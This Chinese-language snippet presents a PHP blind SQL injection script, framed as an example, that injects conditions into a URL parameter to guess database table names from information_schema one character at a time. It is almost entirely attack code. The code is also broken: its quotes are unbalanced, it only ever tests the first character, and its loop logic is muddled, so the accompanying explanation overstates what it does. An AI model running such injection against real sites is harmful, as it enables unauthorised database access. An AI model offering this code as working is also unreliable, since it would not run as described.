以下是一个简单的PHP盲注脚本示例,它可以用于获取数据库中的表名:
<?php
// 设置目标URL
$url = "http://example.com/index.php?id=1";
// 设置要查询的字符集
$charset = "abcdefghijklmnopqrstuvwxyz0123456789";
// 初始化表名
$table_name = "";
// 构造查询语句
$query = "1" AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>=";
for ($i = 1; $i <= 20; $i++) {
// 构造查询语句
$query_length = $query . $i;
$query_length .= " AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)="";
// 构造查询语句
for ($j = 0; $j < strlen($charset); $j++) {
$query_table = $query_length . $charset[$j] . "")";
// 发送HTTP请求
$response = file_get_contents($url . $query_table);
// 判断是否成功
if (strpos($response, "something") !== false) {
$table_name .= $charset[$j];
break;
}
}
// 如果表名长度超出,则退出循环
if (strlen($table_name) == $i) {
break;
}
}
// 输出表名
echo "Table Name: " . $table_name;
?>
上面的代码使用了一个嵌套的循环,用于逐个字符地猜测表名。如果查询成功,则将该字符添加到表名中。此外,它还使用了字符串函数SUBSTRING来获取表名的每个字符。